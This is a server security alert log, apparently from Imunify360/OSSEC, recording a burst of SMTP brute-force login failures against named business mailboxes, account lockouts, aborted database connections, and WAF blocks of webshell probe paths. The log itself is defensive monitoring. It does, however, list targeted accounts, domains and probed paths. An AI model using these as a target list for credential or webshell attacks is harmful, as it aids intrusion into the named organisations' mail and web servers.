2026-02-01 11:08:28 dovecot_login authenticator failed for H=(XMwF2kD) [178.16.54.22]:50846: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.37.111.210
country_id: 1835841
description:
2026-02-01 11:08:59 dovecot_login authenticator failed for H=([14.37.111.210]) [14.37.111.210]:36359: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:08:06 dovecot_login authenticator failed for H=(zeVXnkN3) [158.94.208.175]:57544: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:08:22 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39464: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.237.47.214
country_id: 3996063
description:
2026-02-01 11:08:26 dovecot_login authenticator failed for H=([187.237.47.214]) [187.237.47.214]:54073: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-01 11:08:52 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:45328: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-02-01 11:08:01 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:40173: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:08:07 dovecot_login authenticator failed for H=(i0TkgWQpok) [178.16.54.22]:56133: 535 Incorrect authentication data (set_id=teng@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-02-01 11:08:15 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:59374: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:09:04 dovecot_login authenticator failed for H=(KJHgcVU) [158.94.208.175]:55043: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.136.194.132
country_id: 2017370
description:
2026-02-01 11:09:09 dovecot_login authenticator failed for H=(79x136x194x132.dynamic.saratov.ertelecom.ru) [79.136.194.132]:60626: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:09:06 dovecot_login authenticator failed for H=(TYkSt6) [178.16.54.22]:56671: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.245.184.230
country_id: 2017370
description:
2026-02-01 11:09:40 dovecot_login authenticator failed for H=([185.245.184.230]) [185.245.184.230]:49366: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:09:48 dovecot_login authenticator failed for H=(qESX3Fd1Q) [178.16.52.139]:52533: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.87.248.223
country_id: 732800
description:
2026-02-01 11:10:52 dovecot_login authenticator failed for H=95-87-248-223.ip.btc-net.bg [95.87.248.223]:49944: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-02-01 11:10:57 dovecot_login authenticator failed for H=(static.ill.117.211.15.93.bsnl.co.in) [117.211.15.93]:32770: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:10:26 dovecot_login authenticator failed for H=(lU0T1WIGw) [158.94.208.175]:50492: 535 Incorrect authentication data (set_id=salesjb)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/fphortier/images/login.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:10:18 dovecot_login authenticator failed for H=(7jB71v) [178.16.54.22]:58885: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-02-01 11:10:23 dovecot_login authenticator failed for H=(dsl-ncr-dynamic-110.155.23.125.airtelbroadband.in) [125.23.155.110]:58436: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.200.229.33
country_id: 1835841
description:
2026-02-01 11:10:42 dovecot_login authenticator failed for H=([119.200.229.33]) [119.200.229.33]:49593: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.26.125
country_id: 1835841
description:
2026-02-01 11:10:02 dovecot_login authenticator failed for H=([112.161.26.125]) [112.161.26.125]:35036: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:10:31 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50268: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.238.101.129
country_id: 6251999
description:
2026-02-01 11:10:15 dovecot_login authenticator failed for H=d173-238-101-129.home4.cgocable.net [173.238.101.129]:57224: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.49.14
country_id: 1814991
description:
2026-02-01 11:11:49 dovecot_login authenticator failed for H=([121.18.49.14]) [121.18.49.14]:19708: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.25.161
country_id: 1668284
description:
2026-02-01 11:11:10 dovecot_login authenticator failed for H=111-70-25-161.emome-ip.hinet.net [111.70.25.161]:60039: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:11:17 dovecot_login authenticator failed for H=(gpY5MWfm) [158.94.208.175]:62181: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.184.82
country_id: 1269750
description:
2026-02-01 11:11:45 dovecot_login authenticator failed for H=([182.95.87.148]) [182.95.184.82]:57122: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.122.199.20
country_id: 1814991
description:
2026-02-01 11:11:59 dovecot_login authenticator failed for H=([157.122.199.20]) [157.122.199.20]:48861: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:11:07 dovecot_login authenticator failed for H=(lhvV7V3) [178.16.54.22]:49449: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.167
country_id: 2750405
description:
2026-02-01 11:11:34 218013 [Warning] Aborted connection 218013 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.167' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-02-01 11:11:38 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:56030: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/fphortier/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:12:56 dovecot_login authenticator failed for H=(DmAJk6F) [158.94.208.175]:64690: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:12:49 dovecot_login authenticator failed for H=(mnd6dyxye) [178.16.52.139]:56665: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.104.254.91
country_id: 3865483
description:
2026-02-01 11:12:50 dovecot_login authenticator failed for H=(static.92.254.104.190.cps.com.ar) [190.104.254.91]:38726: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 11:12:54 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:12:13 dovecot_login authenticator failed for H=(o31JDF) [178.16.54.22]:60739: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:12:33 dovecot_login authenticator failed for H=(x6wQLqlM) [178.16.54.22]:64012: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:12:41 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:46168: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.118.215.192
country_id: 3865483
description:
2026-02-01 11:12:57 dovecot_login authenticator failed for H=(red.138.118.215.192.ssservicios.com.ar) [138.118.215.192]:49105: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.225.207.166
country_id: 1814991
description:
2026-02-01 11:13:08 dovecot_login authenticator failed for H=([111.225.207.166]) [111.225.207.166]:46882: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:13:22 dovecot_login authenticator failed for H=(OIDDnn) [158.94.208.175]:59234: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-01 11:13:49 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:49756: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.220.236.203
country_id: 660013
description:
2026-02-01 11:13:02 dovecot_login authenticator failed for H=([62.220.236.203]) [62.220.236.203]:49370: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-02-01 11:13:37 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:16677: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.29.104.32
country_id: 6252001
description:
2026-02-01 11:13:14 dovecot_login authenticator failed for H=32.104.29.34.bc.googleusercontent.com [34.29.104.32]:46252: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 11:13:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:13:19 dovecot_login authenticator failed for H=(rJizYyD) [178.16.54.22]:53803: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.36.234.156
country_id: 1835841
description:
2026-02-01 11:14:25 dovecot_login authenticator failed for H=([118.36.234.156]) [118.36.234.156]:34814: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.194
country_id: 1269750
description:
2026-02-01 11:14:44 dovecot_login authenticator failed for H=(nsg-corporate-194.230.187.122.airtel.in) [122.187.230.194]:49850: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:14:50 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39730: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.61.176.110
country_id: 3469034
description:
2026-02-01 11:14:56 dovecot_login authenticator failed for H=(177-61-176-110.dsl.telesp.net.br) [177.61.176.110]:37733: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:14:10 dovecot_login authenticator failed for H=(TGmfi1) [178.16.54.22]:64726: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:14:14 dovecot_login authenticator failed for H=(H9LydqE7iA) [158.94.208.175]:65349: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.64.28.82
country_id: 2017370
description:
2026-02-01 11:14:45 dovecot_login authenticator failed for H=([80.64.28.82]) [80.64.28.82]:44013: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/themes/images/sliders/cdn-cgi/l/login.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 11:14:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.167
country_id: 2750405
description:
2026-02-01 11:15:05 218395 [Warning] Aborted connection 218395 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.167' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.152.13.143
country_id: 1814991
description:
2026-02-01 11:15:14 dovecot_login authenticator failed for H=([39.152.13.143]) [39.152.13.143]:50856: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.30
country_id: 1668284
description:
2026-02-01 11:15:18 dovecot_login authenticator failed for H=([101.13.5.30]) [101.13.5.30]:35010: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:15:25 dovecot_login authenticator failed for H=(qn429e) [178.16.52.139]:55183: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 11:15:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:15:05 dovecot_login authenticator failed for H=(DviqvQJ5x) [158.94.208.175]:61981: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:15:05 dovecot_login authenticator failed for H=(m2DBVIvL) [178.16.54.22]:56847: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.134
country_id: 1149361
description:
2026-02-01 11:15:22 dovecot_login authenticator failed for H=([149.54.62.134]) [149.54.62.134]:39374: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:16:24 dovecot_login authenticator failed for H=(BNHq22H) [178.16.52.139]:63552: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 11:16:25 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:16:27 dovecot_login authenticator failed for H=(ZZGSE8jLbM) [158.94.208.175]:61663: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.167
country_id: 2750405
description:
2026-02-01 11:16:52 218506 [Warning] Aborted connection 218506 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.167' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:16:02 dovecot_login authenticator failed for H=(lWZ73Bm) [178.16.54.22]:51529: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:16:49 dovecot_login authenticator failed for H=(B4j7bz7) [178.16.54.22]:58990: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:17:04 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:40666: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.196.144.25
country_id: 6252001
description:
2026-02-01 11:17:04 dovecot_plain authenticator failed for H=c-73-196-144-25.hsd1.nj.comcast.net (tuary) [73.196.144.25]:35388: 535 Incorrect authentication data (set_id=admin@agsaintifik.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:17:13 dovecot_login authenticator failed for H=(3VPf8g8YFa) [178.16.54.22]:54879: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:17:19 dovecot_login authenticator failed for H=(AQd6aQ2yy) [158.94.208.175]:57313: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:18:47 dovecot_login authenticator failed for H=(S2L9Isvo) [178.16.52.139]:64833: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 11:18:48 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:50152: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.87.248.223
country_id: 732800
description:
2026-02-01 11:18:57 dovecot_login authenticator failed for H=95-87-248-223.ip.btc-net.bg [95.87.248.223]:32992: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:18:05 dovecot_login authenticator failed for H=(MIMPb0sm) [178.16.54.22]:57586: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:18:14 dovecot_login authenticator failed for H=(4m10I4J2i0) [158.94.208.175]:51893: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-02-01 11:19:07 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:48468: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.241.50
country_id: 1814991
description:
2026-02-01 11:19:34 dovecot_login authenticator failed for H=([218.21.241.50]) [218.21.241.50]:37730: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:19:10 dovecot_login authenticator failed for H=(sxhsBw) [158.94.208.175]:64950: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:19:15 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:37756: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.215.204.109
country_id: 3469034
description:
2026-02-01 11:19:35 dovecot_login authenticator failed for H=(igrejadorecreio.static.host.gvt.net.br) [186.215.204.109]:52649: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:19:08 dovecot_login authenticator failed for H=(d5SKuhT) [178.16.54.22]:61495: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.123.109.43
country_id: 732800
description:
2026-02-01 11:19:41 dovecot_login authenticator failed for H=(ADMIN) [93.123.109.43]:51258: 535 Incorrect authentication data (set_id=chuan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.150.168.226
country_id: 1814991
description:
2026-02-01 11:19:54 dovecot_login authenticator failed for H=([27.150.168.226]) [27.150.168.226]:50514: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.166.105.133
country_id: 1814991
description:
2026-02-01 11:20:01 dovecot_login authenticator failed for H=([223.166.105.133]) [223.166.105.133]:49740: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 11:19:15 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:35089: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.169.148.186
country_id: 2963597
domain: manforce.net
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/manfotp3/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:20:07 dovecot_login authenticator failed for H=(WsLbSI) [158.94.208.175]:64329: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:20:11 dovecot_login authenticator failed for H=(HbVZJsUEM) [178.16.54.22]:60489: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 52.169.148.186
country_id: 2963597
domain: manforce.net
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/manfotp3/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.91.113.248
country_id: 6252001
description:
2026-02-01 11:20:09 dovecot_login authenticator failed for H=(syn-172-091-113-248.res.spectrum.com) [172.91.113.248]:56940: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:21:05 dovecot_login authenticator failed for H=(fOF0uK) [178.16.54.22]:63264: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:21:11 dovecot_login authenticator failed for H=(wphAYbg3J) [178.16.54.22]:62666: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 11:21:29 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:21:03 dovecot_login authenticator failed for H=(Nx9szbGXS) [158.94.208.175]:61676: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:21:23 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:34020: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-02-01 11:21:35 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:34820: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.235.152
country_id: 1835841
description:
2026-02-01 11:21:51 dovecot_login authenticator failed for H=([218.149.235.152]) [218.149.235.152]:54364: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 180.191.209.100
country_id: 1694008
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/care/681083 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:22:24 dovecot_login authenticator failed for H=(zrDiqE) [158.94.208.175]:52167: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.7.161
country_id: 1733045
description:
2026-02-01 11:23:00 dovecot_login authenticator failed for H=([183.171.7.161]) [183.171.7.161]:35420: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:22:14 dovecot_login authenticator failed for H=(UQjPDulu) [178.16.54.22]:59604: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 11:22:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-02-01 11:23:23 dovecot_login authenticator failed for H=([222.120.176.6]) [222.120.176.6]:38776: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:23:31 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54562: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
